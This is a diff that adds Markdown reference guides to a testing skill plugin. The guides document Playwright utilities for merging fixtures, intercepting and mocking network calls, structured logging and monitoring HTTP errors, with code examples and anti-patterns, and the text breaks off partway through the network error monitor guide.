+**Reduction:** ~10 lines per test → ~2 lines
+
+## Related Fragments
+
+- `overview.md` - Installation and design principles
+- `api-request.md`, `auth-session.md`, `recurse.md` - Utilities to merge
+- `network-recorder.md`, `intercept-network-call.md`, `log.md` - Additional utilities
+
+## Anti-Patterns
+
+**❌ Importing test from multiple fixture files:**
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+// Also need auth...
+import { test as authTest } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+// Name conflict! Which test to use?
+```
+
+**✅ Use merged fixtures:**
+
+```typescript
+import { test } from '../support/merged-fixtures';
+// All utilities available, no conflicts
+```
+
+**❌ Merging too many fixtures (kitchen sink):**
+
+```typescript
+// Merging 20+ fixtures makes test signature huge
+const test = mergeTests(...20 different fixtures)
+
+test('my test', async ({ fixture1, fixture2, ..., fixture20 }) => {
+  // Cognitive overload
+})
+```
+
+**✅ Merge only what you actually use:**
+
+```typescript
+// Merge the 4-6 fixtures your project actually needs
+const test = mergeTests(apiRequestFixture, authFixture, recurseFixture, customFixtures);
+```
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/intercept-network-call.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/intercept-network-call.md
new file mode 100644
index 0000000..8c892d2
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/intercept-network-call.md
@@ -0,0 +1,426 @@
+# Intercept Network Call Utility
+
+## Principle
+
+Intercept network requests with a single declarative call that returns a Promise. Automatically parse JSON responses, support both spy (observe) and stub (mock) patterns, and use powerful glob pattern matching for URL filtering.
+
+## Rationale
+
+Vanilla Playwright's network interception requires multiple steps:
+
+- `page.route()` to setup, `page.waitForResponse()` to capture
+- Manual JSON parsing
+- Verbose syntax for conditional handling
+- Complex filter predicates
+
+The `interceptNetworkCall` utility provides:
+
+- **Single declarative call**: Setup and wait in one statement
+- **Automatic JSON parsing**: Response pre-parsed, strongly typed
+- **Flexible URL patterns**: Glob matching with picomatch
+- **Spy or stub modes**: Observe real traffic or mock responses
+- **Concise API**: Reduces boilerplate by 60-70%
+
+## Pattern Examples
+
+### Example 1: Spy on Network (Observe Real Traffic)
+
+**Context**: Capture and inspect real API responses for validation.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/intercept-network-call/fixtures';
+
+test('should spy on users API', async ({ page, interceptNetworkCall }) => {
+  // Setup interception BEFORE navigation
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users', // Glob pattern
+  });
+
+  await page.goto('/dashboard');
+
+  // Wait for response and access parsed data
+  const { responseJson, status } = await usersCall;
+
+  expect(status).toBe(200);
+  expect(responseJson).toHaveLength(10);
+  expect(responseJson[0]).toHaveProperty('name');
+});
+```
+
+**Key Points**:
+
+- Intercept before navigation (critical for race-free tests)
+- Returns Promise with `{ responseJson, status, requestBody }`
+- Glob patterns (`**` matches any path segment)
+- JSON automatically parsed
+
+### Example 2: Stub Network (Mock Response)
+
+**Context**: Mock API responses for testing UI behavior without backend.
+
+**Implementation**:
+
+```typescript
+test('should stub users API', async ({ page, interceptNetworkCall }) => {
+  const mockUsers = [
+    { id: 1, name: 'Test User 1' },
+    { id: 2, name: 'Test User 2' },
+  ];
+
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users',
+    fulfillResponse: {
+      status: 200,
+      body: mockUsers,
+    },
+  });
+
+  await page.goto('/dashboard');
+  await usersCall;
+
+  // UI shows mocked data
+  await expect(page.getByText('Test User 1')).toBeVisible();
+  await expect(page.getByText('Test User 2')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `fulfillResponse` mocks the API
+- No backend needed
+- Test UI logic in isolation
+- Status code and body fully controllable
+
+### Example 3: Conditional Response Handling
+
+**Context**: Different responses based on request method or parameters.
+
+**Implementation**:
+
+```typescript
+test('conditional mocking', async ({ page, interceptNetworkCall }) => {
+  await interceptNetworkCall({
+    url: '**/api/data',
+    handler: async (route, request) => {
+      if (request.method() === 'POST') {
+        // Mock POST success
+        await route.fulfill({
+          status: 201,
+          body: JSON.stringify({ id: 'new-id', success: true }),
+        });
+      } else if (request.method() === 'GET') {
+        // Mock GET with data
+        await route.fulfill({
+          status: 200,
+          body: JSON.stringify([{ id: 1, name: 'Item' }]),
+        });
+      } else {
+        // Let other methods through
+        await route.continue();
+      }
+    },
+  });
+
+  await page.goto('/data-page');
+});
+```
+
+**Key Points**:
+
+- `handler` function for complex logic
+- Access full `route` and `request` objects
+- Can mock, continue, or abort
+- Flexible for advanced scenarios
+
+### Example 4: Error Simulation
+
+**Context**: Testing error handling in UI when API fails.
+
+**Implementation**:
+
+```typescript
+test('should handle API errors gracefully', async ({ page, interceptNetworkCall }) => {
+  // Simulate 500 error
+  const errorCall = interceptNetworkCall({
+    url: '**/api/users',
+    fulfillResponse: {
+      status: 500,
+      body: { error: 'Internal Server Error' },
+    },
+  });
+
+  await page.goto('/dashboard');
+  await errorCall;
+
+  // Verify UI shows error state
+  await expect(page.getByText('Failed to load users')).toBeVisible();
+  await expect(page.getByTestId('retry-button')).toBeVisible();
+});
+
+// Simulate network timeout
+test('should handle timeout', async ({ page, interceptNetworkCall }) => {
+  await interceptNetworkCall({
+    url: '**/api/slow',
+    handler: async (route) => {
+      // Never respond - simulates timeout
+      await new Promise(() => {});
+    },
+  });
+
+  await page.goto('/slow-page');
+
+  // UI should show timeout error
+  await expect(page.getByText('Request timed out')).toBeVisible({ timeout: 10000 });
+});
+```
+
+**Key Points**:
+
+- Mock error statuses (4xx, 5xx)
+- Test timeout scenarios
+- Validate error UI states
+- No real failures needed
+
+### Example 5: Order Matters - Intercept Before Navigate
+
+**Context**: The interceptor must be set up before the network request occurs.
+
+**Implementation**:
+
+```typescript
+// INCORRECT - interceptor set up too late
+await page.goto('https://example.com'); // Request already happened
+const networkCall = interceptNetworkCall({ url: '**/api/data' });
+await networkCall; // Will hang indefinitely!
+
+// CORRECT - Set up interception first
+const networkCall = interceptNetworkCall({ url: '**/api/data' });
+await page.goto('https://example.com');
+const result = await networkCall;
+```
+
+This pattern follows the classic test spy/stub pattern:
+
+1. Define the spy/stub (set up interception)
+2. Perform the action (trigger the network request)
+3. Assert on the spy/stub (await and verify the response)
+
+### Example 6: Multiple Intercepts
+
+**Context**: Intercepting different endpoints in same test - setup order is critical.
+
+**Implementation**:
+
+```typescript
+test('multiple intercepts', async ({ page, interceptNetworkCall }) => {
+  // Setup all intercepts BEFORE navigation
+  const usersCall = interceptNetworkCall({ url: '**/api/users' });
+  const productsCall = interceptNetworkCall({ url: '**/api/products' });
+  const ordersCall = interceptNetworkCall({ url: '**/api/orders' });
+
+  // THEN navigate
+  await page.goto('/dashboard');
+
+  // Wait for all (or specific ones)
+  const [users, products] = await Promise.all([usersCall, productsCall]);
+
+  expect(users.responseJson).toHaveLength(10);
+  expect(products.responseJson).toHaveLength(50);
+});
+```
+
+**Key Points**:
+
+- Setup all intercepts before triggering actions
+- Use `Promise.all()` to wait for multiple calls
+- Order: intercept -> navigate -> await
+- Prevents race conditions
+
+### Example 7: Capturing Multiple Requests to the Same Endpoint
+
+**Context**: Each `interceptNetworkCall` captures only the first matching request.
+
+**Implementation**:
+
+```typescript
+// Capturing a known number of requests
+const firstRequest = interceptNetworkCall({ url: '/api/data' });
+const secondRequest = interceptNetworkCall({ url: '/api/data' });
+
+await page.click('#load-data-button');
+
+const firstResponse = await firstRequest;
+const secondResponse = await secondRequest;
+
+expect(firstResponse.status).toBe(200);
+expect(secondResponse.status).toBe(200);
+
+// Handling an unknown number of requests
+const getDataRequestInterceptor = () =>
+  interceptNetworkCall({
+    url: '/api/data',
+    timeout: 1000, // Short timeout to detect when no more requests are coming
+  });
+
+let currentInterceptor = getDataRequestInterceptor();
+const allResponses = [];
+
+await page.click('#load-multiple-data-button');
+
+while (true) {
+  try {
+    const response = await currentInterceptor;
+    allResponses.push(response);
+    currentInterceptor = getDataRequestInterceptor();
+  } catch (error) {
+    // No more requests (timeout)
+    break;
+  }
+}
+
+console.log(`Captured ${allResponses.length} requests to /api/data`);
+```
+
+### Example 8: Using Timeout
+
+**Context**: Set a timeout for waiting on a network request.
+
+**Implementation**:
+
+```typescript
+const dataCall = interceptNetworkCall({
+  method: 'GET',
+  url: '/api/data-that-might-be-slow',
+  timeout: 5000, // 5 seconds timeout
+});
+
+await page.goto('/data-page');
+
+try {
+  const { responseJson } = await dataCall;
+  console.log('Data loaded successfully:', responseJson);
+} catch (error) {
+  if (error.message.includes('timeout')) {
+    console.log('Request timed out as expected');
+  } else {
+    throw error;
+  }
+}
+```
+
+## URL Pattern Matching
+
+The utility uses [picomatch](https://github.com/micromatch/picomatch) for powerful glob pattern matching, dramatically simplifying URL targeting:
+
+**Supported glob patterns:**
+
+```typescript
+'**/api/users'; // Any path ending with /api/users
+'/api/users'; // Exact match
+'**/users/*'; // Any users sub-path
+'**/api/{users,products}'; // Either users or products
+'**/api/users?id=*'; // With query params
+```
+
+**Comparison with vanilla Playwright:**
+
+```typescript
+// Vanilla Playwright - complex predicate
+const predicate = (response) => {
+  const url = response.url();
+  return url.endsWith('/api/users') || url.match(/\/api\/users\/\d+/) || (url.includes('/api/users/') && url.includes('/profile'));
+};
+page.waitForResponse(predicate);
+
+// With interceptNetworkCall - simple glob patterns
+interceptNetworkCall({ url: '/api/users' }); // Exact endpoint
+interceptNetworkCall({ url: '/api/users/*' }); // User by ID pattern
+interceptNetworkCall({ url: '/api/users/*/profile' }); // Specific sub-paths
+interceptNetworkCall({ url: '/api/users/**' }); // Match all
+```
+
+## API Reference
+
+### `interceptNetworkCall(options)`
+
+| Parameter         | Type       | Description                                                           |
+| ----------------- | ---------- | --------------------------------------------------------------------- |
+| `page`            | `Page`     | Required when using direct import (not needed with fixture)           |
+| `method`          | `string`   | Optional: HTTP method to match (e.g., 'GET', 'POST')                  |
+| `url`             | `string`   | Optional: URL pattern to match (supports glob patterns via picomatch) |
+| `fulfillResponse` | `object`   | Optional: Response to use when mocking                                |
+| `handler`         | `function` | Optional: Custom handler function for the route                       |
+| `timeout`         | `number`   | Optional: Timeout in milliseconds for the network request             |
+
+### `fulfillResponse` Object
+
+| Property  | Type                     | Description                                           |
+| --------- | ------------------------ | ----------------------------------------------------- |
+| `status`  | `number`                 | HTTP status code (default: 200)                       |
+| `headers` | `Record<string, string>` | Response headers                                      |
+| `body`    | `any`                    | Response body (will be JSON.stringified if an object) |
+
+### Return Value
+
+Returns a `Promise<NetworkCallResult>` with:
+
+| Property       | Type       | Description                             |
+| -------------- | ---------- | --------------------------------------- |
+| `request`      | `Request`  | The intercepted request                 |
+| `response`     | `Response` | The response (null if mocked)           |
+| `responseJson` | `any`      | Parsed JSON response (if available)     |
+| `status`       | `number`   | HTTP status code                        |
+| `requestJson`  | `any`      | Parsed JSON request body (if available) |
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                                          | intercept-network-call                                       |
+| ----------------------------------------------------------- | ------------------------------------------------------------ |
+| `await page.route('/api/users', route => route.continue())` | `const call = interceptNetworkCall({ url: '**/api/users' })` |
+| `const resp = await page.waitForResponse('/api/users')`     | (Combined in single statement)                               |
+| `const json = await resp.json()`                            | `const { responseJson } = await call`                        |
+| `const status = resp.status()`                              | `const { status } = await call`                              |
+| Complex filter predicates                                   | Simple glob patterns                                         |
+
+**Reduction:** ~5-7 lines -> ~2-3 lines per interception
+
+## Related Fragments
+
+- `network-first.md` - Core pattern: intercept before navigate
+- `network-recorder.md` - HAR-based offline testing
+- `overview.md` - Fixture composition basics
+
+## Anti-Patterns
+
+**DON'T intercept after navigation:**
+
+```typescript
+await page.goto('/dashboard'); // Navigation starts
+const usersCall = interceptNetworkCall({ url: '**/api/users' }); // Too late!
+```
+
+**DO intercept before navigate:**
+
+```typescript
+const usersCall = interceptNetworkCall({ url: '**/api/users' }); // First
+await page.goto('/dashboard'); // Then navigate
+const { responseJson } = await usersCall; // Then await
+```
+
+**DON'T ignore the returned Promise:**
+
+```typescript
+interceptNetworkCall({ url: '**/api/users' }); // Not awaited!
+await page.goto('/dashboard');
+// No deterministic wait - race condition
+```
+
+**DO always await the intercept:**
+
+```typescript
+const usersCall = interceptNetworkCall({ url: '**/api/users' });
+await page.goto('/dashboard');
+await usersCall; // Deterministic wait
+```
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/log.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/log.md
new file mode 100644
index 0000000..2edca5a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/log.md
@@ -0,0 +1,426 @@
+# Log Utility
+
+## Principle
+
+Use structured logging that integrates with Playwright's test reports. Support object logging, test step decoration, and multiple log levels (info, step, success, warning, error, debug).
+
+## Rationale
+
+Console.log in Playwright tests has limitations:
+
+- Not visible in HTML reports
+- No test step integration
+- No structured output
+- Lost in terminal noise during CI
+
+The `log` utility provides:
+
+- **Report integration**: Logs appear in Playwright HTML reports
+- **Test step decoration**: `log.step()` creates collapsible steps in UI
+- **Object logging**: Automatically formats objects/arrays
+- **Multiple levels**: info, step, success, warning, error, debug
+- **Optional console**: Can disable console output but keep report logs
+
+## Quick Start
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+// Basic logging
+await log.info('Starting test');
+await log.step('Test step shown in Playwright UI');
+await log.success('Operation completed');
+await log.warning('Something to note');
+await log.error('Something went wrong');
+await log.debug('Debug information');
+```
+
+## Pattern Examples
+
+### Example 1: Basic Logging Levels
+
+**Context**: Log different types of messages throughout test execution.
+
+**Implementation**:
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+test('logging demo', async ({ page }) => {
+  await log.step('Navigate to login page');
+  await page.goto('/login');
+
+  await log.info('Entering credentials');
+  await page.fill('#username', 'testuser');
+
+  await log.success('Login successful');
+
+  await log.warning('Rate limit approaching');
+
+  await log.debug({ userId: '123', sessionId: 'abc' });
+
+  // Errors still throw but get logged first
+  try {
+    await page.click('#nonexistent');
+  } catch (error) {
+    await log.error('Click failed', false); // false = no console output
+    throw error;
+  }
+});
+```
+
+**Key Points**:
+
+- `step()` creates collapsible steps in Playwright UI
+- `info()`, `success()`, `warning()` for different message types
+- `debug()` for detailed data (objects/arrays)
+- `error()` with optional console suppression
+- All logs appear in test reports
+
+### Example 2: Object and Array Logging
+
+**Context**: Log structured data for debugging without cluttering console.
+
+**Implementation**:
+
+```typescript
+test('object logging', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users',
+  });
+
+  // Log array of objects
+  await log.debug(body); // Formatted as JSON in report
+
+  // Log specific object
+  await log.info({
+    totalUsers: body.length,
+    firstUser: body[0]?.name,
+    timestamp: new Date().toISOString(),
+  });
+
+  // Complex nested structures
+  await log.debug({
+    request: {
+      method: 'GET',
+      path: '/api/users',
+      timestamp: Date.now(),
+    },
+    response: {
+      status: 200,
+      body: body.slice(0, 3), // First 3 items
+    },
+  });
+});
+```
+
+**Key Points**:
+
+- Objects auto-formatted as pretty JSON
+- Arrays handled gracefully
+- Nested structures supported
+- All visible in Playwright report attachments
+
+### Example 3: Test Step Organization
+
+**Context**: Organize test execution into collapsible steps for better readability in reports.
+
+**Implementation**:
+
+```typescript
+test('organized with steps', async ({ page, apiRequest }) => {
+  await log.step('ARRANGE: Setup test data');
+  const { body: user } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: { name: 'Test User' },
+  });
+
+  await log.step('ACT: Perform user action');
+  await page.goto(`/users/${user.id}`);
+  await page.click('#edit');
+  await page.fill('#name', 'Updated Name');
+  await page.click('#save');
+
+  await log.step('ASSERT: Verify changes');
+  await expect(page.getByText('Updated Name')).toBeVisible();
+
+  // In Playwright UI, each step is collapsible
+});
+```
+
+**Key Points**:
+
+- `log.step()` creates collapsible sections
+- Organize by Arrange-Act-Assert
+- Steps visible in Playwright trace viewer
+- Better debugging when tests fail
+
+### Example 4: Test Step Decorators
+
+**Context**: Create collapsible test steps in Playwright UI using decorators.
+
+**Page Object Methods with @methodTestStep:**
+
+```typescript
+import { methodTestStep } from '@seontechnologies/playwright-utils';
+
+class TodoPage {
+  constructor(private page: Page) {
+    this.name = 'TodoPage';
+  }
+
+  readonly name: string;
+
+  @methodTestStep('Add todo item')
+  async addTodo(text: string) {
+    await log.info(`Adding todo: ${text}`);
+    const newTodo = this.page.getByPlaceholder('What needs to be done?');
+    await newTodo.fill(text);
+    await newTodo.press('Enter');
+    await log.step('step within a decorator');
+    await log.success(`Added todo: ${text}`);
+  }
+
+  @methodTestStep('Get all todos')
+  async getTodos() {
+    await log.info('Getting all todos');
+    return this.page.getByTestId('todo-title');
+  }
+}
+```
+
+**Function Helpers with functionTestStep:**
+
+```typescript
+import { functionTestStep } from '@seontechnologies/playwright-utils';
+
+// Define todo items for the test
+const TODO_ITEMS = ['buy groceries', 'pay bills', 'schedule meeting'];
+
+const createDefaultTodos = functionTestStep('Create default todos', async (page: Page) => {
+  await log.info('Creating default todos');
+  await log.step('step within a functionWrapper');
+  const todoPage = new TodoPage(page);
+
+  for (const item of TODO_ITEMS) {
+    await todoPage.addTodo(item);
+  }
+
+  await log.success('Created all default todos');
+});
+
+const checkNumberOfTodosInLocalStorage = functionTestStep('Check total todos count fn-step', async (page: Page, expected: number) => {
+  await log.info(`Verifying todo count: ${expected}`);
+  const result = await page.waitForFunction((e) => JSON.parse(localStorage['react-todos']).length === e, expected);
+  await log.success(`Verified todo count: ${expected}`);
+  return result;
+});
+```
+
+### Example 5: File Logging
+
+**Context**: Enable file logging for persistent logs.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures.ts
+import { test as base } from '@playwright/test';
+import { log, captureTestContext } from '@seontechnologies/playwright-utils';
+
+// Configure file logging globally
+log.configure({
+  fileLogging: {
+    enabled: true,
+    outputDir: 'playwright-logs/organized-logs',
+    forceConsolidated: false, // One file per test
+  },
+});
+
+// Extend base test with file logging context capture
+export const test = base.extend({
+  // Auto-capture test context for file logging
+  autoTestContext: [
+    async ({}, use, testInfo) => {
+      captureTestContext(testInfo);
+      await use(undefined);
+    },
+    { auto: true },
+  ],
+});
+```
+
+### Example 6: Integration with Auth and API
+
+**Context**: Log authenticated API requests with tokens (safely).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+// Helper to create safe token preview
+function createTokenPreview(token: string): string {
+  if (!token || token.length < 10) return '[invalid]';
+  return `${token.slice(0, 6)}...${token.slice(-4)}`;
+}
+
+test('should log auth flow', async ({ authToken, apiRequest }) => {
+  await log.info(`Using token: ${createTokenPreview(authToken)}`);
+
+  await log.step('Fetch protected resource');
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await log.debug({
+    status,
+    bodyPreview: {
+      id: body.id,
+      recordCount: body.data?.length,
+    },
+  });
+
+  await log.success('Protected resource accessed successfully');
+});
+```
+
+**Key Points**:
+
+- Never log full tokens (security risk)
+- Use preview functions for sensitive data
+- Combine with auth and API utilities
+- Log at appropriate detail level
+
+## Configuration
+
+**Defaults:** console logging enabled, file logging disabled.
+
+```typescript
+// Enable file logging in config
+log.configure({
+  console: true, // default
+  fileLogging: {
+    enabled: true,
+    outputDir: 'playwright-logs',
+    forceConsolidated: false, // One file per test
+  },
+});
+
+// Per-test override
+await log.info('Message', {
+  console: { enabled: false },
+  fileLogging: { enabled: true },
+});
+```
+
+### Environment Variables
+
+```bash
+# Disable all logging
+SILENT=true
+
+# Disable only file logging
+DISABLE_FILE_LOGS=true
+
+# Disable only console logging
+DISABLE_CONSOLE_LOGS=true
+```
+
+### Level Filtering
+
+```typescript
+log.configure({
+  level: 'warning', // Only warning, error levels will show
+});
+
+// Available levels (in priority order):
+// debug < info < step < success < warning < error
+```
+
+### Sync Methods
+
+For non-test contexts (global setup, utility functions):
+
+```typescript
+// Use sync methods when async/await isn't available
+log.infoSync('Initializing configuration');
+log.successSync('Environment configured');
+log.errorSync('Setup failed');
+```
+
+## Log Levels Guide
+
+| Level     | When to Use                         | Shows in Report   | Shows in Console |
+| --------- | ----------------------------------- | ----------------- | ---------------- |
+| `step`    | Test organization, major actions    | Collapsible steps | Yes              |
+| `info`    | General information, state changes  | Yes               | Yes              |
+| `success` | Successful operations               | Yes               | Yes              |
+| `warning` | Non-critical issues, skipped checks | Yes               | Yes              |
+| `error`   | Failures, exceptions                | Yes               | Configurable     |
+| `debug`   | Detailed data, objects              | Yes (attached)    | Configurable     |
+
+## Comparison with console.log
+
+| console.log             | log Utility               |
+| ----------------------- | ------------------------- |
+| Not in reports          | Appears in reports        |
+| No test steps           | Creates collapsible steps |
+| Manual JSON.stringify() | Auto-formats objects      |
+| No log levels           | 6 log levels              |
+| Lost in CI output       | Preserved in artifacts    |
+
+## Related Fragments
+
+- `overview.md` - Basic usage and imports
+- `api-request.md` - Log API requests
+- `auth-session.md` - Log auth flow (safely)
+- `recurse.md` - Log polling progress
+
+## Anti-Patterns
+
+**DON'T log objects in steps:**
+
+```typescript
+await log.step({ user: 'test', action: 'create' }); // Shows empty in UI
+```
+
+**DO use strings for steps, objects for debug:**
+
+```typescript
+await log.step('Creating user: test'); // Readable in UI
+await log.debug({ user: 'test', action: 'create' }); // Detailed data
+```
+
+**DON'T log sensitive data:**
+
+```typescript
+await log.info(`Password: ${password}`); // Security risk!
+await log.info(`Token: ${authToken}`); // Full token exposed!
+```
+
+**DO use previews or omit sensitive data:**
+
+```typescript
+await log.info('User authenticated successfully'); // No sensitive data
+await log.debug({ tokenPreview: token.slice(0, 6) + '...' });
+```
+
+**DON'T log excessively in loops:**
+
+```typescript
+for (const item of items) {
+  await log.info(`Processing ${item.id}`); // 100 log entries!
+}
+```
+
+**DO log summary or use debug level:**
+
+```typescript
+await log.step(`Processing ${items.length} items`);
+await log.debug({ itemIds: items.map((i) => i.id) }); // One log entry
+```
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/network-error-monitor.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/network-error-monitor.md
new file mode 100644
index 0000000..e19771d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/network-error-monitor.md
@@ -0,0 +1,401 @@
+# Network Error Monitor
+
+## Principle
+
+Automatically detect and fail tests when HTTP 4xx/5xx errors occur during execution. Act like Sentry for tests - catch silent backend failures even when UI passes assertions.
+
+## Rationale
+
+Traditional Playwright tests focus on UI:
+
+- Backend 500 errors ignored if UI looks correct
+- Silent failures slip through
+- No visibility into background API health
+- Tests pass while features are broken
+
+The `network-error-monitor` provides:
+
+- **Automatic detection**: All HTTP 4xx/5xx responses tracked
+- **Test failures**: Fail tests with backend errors (even if UI passes)
+- **Structured artifacts**: JSON reports with error details
+- **Smart opt-out**: Disable for validation tests expecting errors
+- **Deduplication**: Group repeated errors by pattern
+- **Domino effect prevention**: Limit test failures per error pattern
+- **Respects test status**: Won't suppress actual test failures
+
+## Quick Start
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// That's it! Network monitoring is automatically enabled
+test('my test', async ({ page }) => {
+  await page.goto('/dashboard');
+  // If any HTTP 4xx/5xx errors occur, the test will fail
+});
+```
+
+## Pattern Examples
+
+### Example 1: Basic Auto-Monitoring
+
+**Context**: Automatically fail tests when backend errors occur.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Monitoring automatically enabled
+test('should load dashboard', async ({ page }) => {
+  await page.goto('/dashboard');
+  await expect(page.locator('h1')).toContainText('Dashboard');
+
+  // Passes if no HTTP errors
+  // Fails if any 4xx/5xx errors detected with clear message:
+  //    "Network errors detected: 2 request(s) failed"
+  //    Failed requests:
+  //      GET 500 https://api.example.com/users
+  //      POST 503 https://api.example.com/metrics
+});
+```
+
+**Key Points**:
+
+- Zero setup - auto-enabled for all tests
+- Fails on any 4xx/5xx response
+- Structured error message with URLs and status codes
+- JSON artifact attached to test report
+
+### Example 2: Opt-Out for Validation Tests
+
+**Context**: Some tests expect errors (validation, error handling, edge cases).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Opt-out with annotation
+test('should show error on invalid input', { annotation: [{ type: 'skipNetworkMonitoring' }] }, async ({ page }) => {
+  await page.goto('/form');
+  await page.click('#submit'); // Triggers 400 error
+
+  // Monitoring disabled - test won't fail on 400
+  await expect(page.getByText('Invalid input')).toBeVisible();
+});
+
+// Or opt-out entire describe block
+test.describe('error handling', { annotation: [{ type: 'skipNetworkMonitoring' }] }, () => {
+  test('handles 404', async ({ page }) => {
+    // All tests in this block skip monitoring
+  });
+
+  test('handles 500', async ({ page }) => {
+    // Monitoring disabled
+  });
+});
+```
+
+**Key Points**:
+
+- Use annotation `{ type: 'skipNetworkMonitoring' }`
+- Can opt-out single test or entire describe block
+- Monitoring still active for other tests
+- Perfect for intentional error scenarios
+
+### Example 3: Respects Test Status
+
+**Context**: The monitor respects final test statuses to avoid suppressing important test outcomes.
+
+**Behavior by test status:**
+
+- **`failed`**: Network errors logged as additional context, not thrown
+- **`timedOut`**: Network errors logged as additional context
+- **`skipped`**: Network errors logged, skip status preserved
+- **`interrupted`**: Network errors logged, interrupted status preserved
+- **`passed`**: Network errors throw and fail the test
+
+**Example with test.skip():**
+
+```typescript
+test('feature gated test', async ({ page }) => {
+  const featureEnabled = await checkFeatureFlag();
+  test.skip(!featureEnabled, 'Feature not enabled');
+  // If skipped, network errors won't turn this into a failure
+  await page.goto('/new-feature');
+});
+```
+
+### Example 4: Excluding Legitimate Errors
+
+**Context**: Some endpoints legitimately return 4xx/5xx responses.
+
+**Implementation**:
+
+```typescript
+import { test as base } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+export const test = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [
+      /email-cluster\/ml-app\/has-active-run/, // ML service returns 404 when no active run
+      /idv\/session-templates\/list/, // IDV service returns 404 when not configured
+      /sentry\.io\/api/, // External Sentry errors should not fail tests
+    ],
+  }),
+);
+```
+
+**For merged fixtures:**
+
+```typescript
+import { test as base, mergeTests } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+const networkErrorMonitor = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [/analytics\.google\.com/, /cdn\.example\.com/],
+  }),
+);
+
+export const test = mergeTests(authFixture, networkErrorMonitor);
+```
+
+### Example 5: Preventing Domino Effect
+
+**Context**: One failing endpoint shouldn't fail all tests.
+
+**Implementation**:
+
+```typescript
+import { test as base } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+const networkErrorMonitor = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [], // Required when using maxTestsPerError
+    maxTestsPerError: 1, // Only first test fails per error pattern, rest just log
+  }),
+);
+```
+
+**How it works:**
+
+When `/api/v2/case-management/cases` returns 500:
+
+- **First test** encountering this error: **FAILS** with clear error message
+- **Subsequent tests** encountering same error: **PASSES** but logs warning
+
+Error patterns are grouped by `method + status + base path`:
+
+- `GET /api/v2/case-management/cases/123` -> Pattern: `GET:500:/api/v2/case-management`
+- `GET /api/v2/case-management/quota` -> Pattern: `GET:500:/api/v2/case-management` (same group!)
+- `POST /api/v2/case-management/cases` -> Pattern: `POST:500:/api/v2/case-management` (different group!)
+
+**Why include HTTP method?** A GET 404 vs POST 404 might represent different issues:
+
+- `GET 404 /api/users/123` -> User not found (expected in some tests)
+- `POST 404 /api/users` -> Endpoint doesn't exist (critical error)
+
+**Output for subsequent tests:**
+
+```
+Warning: Network errors detected but not failing test (maxTestsPerError limit reached):
+  GET 500 https://api.example.com/api/v2/case-management/cases
+```
+
+**Recommended configuration:**
+
+```typescript
+createNetworkErrorMonitorFixture({
+  excludePatterns: [...], // Required - known broken endpoints (can be empty [])
+  maxTestsPerError: 1     // Stop domino effect (requires excludePatterns)
+})
+```
+
+**Understanding worker-level state:**
+
+Error pattern counts are stored in worker-level global state:
+
+```typescript
+// test-file-1.spec.ts (runs in Worker 1)
+test('test A', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // FAILS
+
+// test-file-2.spec.ts (runs later in Worker 1)
+test('test B', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // PASSES (limit reached)
+
+// test-file-3.spec.ts (runs in Worker 2 - different worker)
+test('test C', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // FAILS (fresh worker)
+```
+
+### Example 6: Integration with Merged Fixtures
+
+**Context**: Combine network-error-monitor with other utilities.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as networkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+export const test = mergeTests(
+  authFixture,
+  networkErrorMonitorFixture,
+  // Add other fixtures
+);
+
+// In tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('authenticated with monitoring', async ({ page, authToken }) => {
+  // Both auth and network monitoring active
+  await page.goto('/protected');
+
+  // Fails if backend returns errors during auth flow
+});
+```
+
+**Key Points**:
+
+- Combine with `mergeTests`
+- Works alongside all other utilities
+- Monitoring active automatically
+- No extra setup needed
+
+### Example 7: Artifact Structure
+
+**Context**: Debugging failed tests with network error artifacts.
+
+When test fails due to network errors, artifact attached:
+
+```json
+[
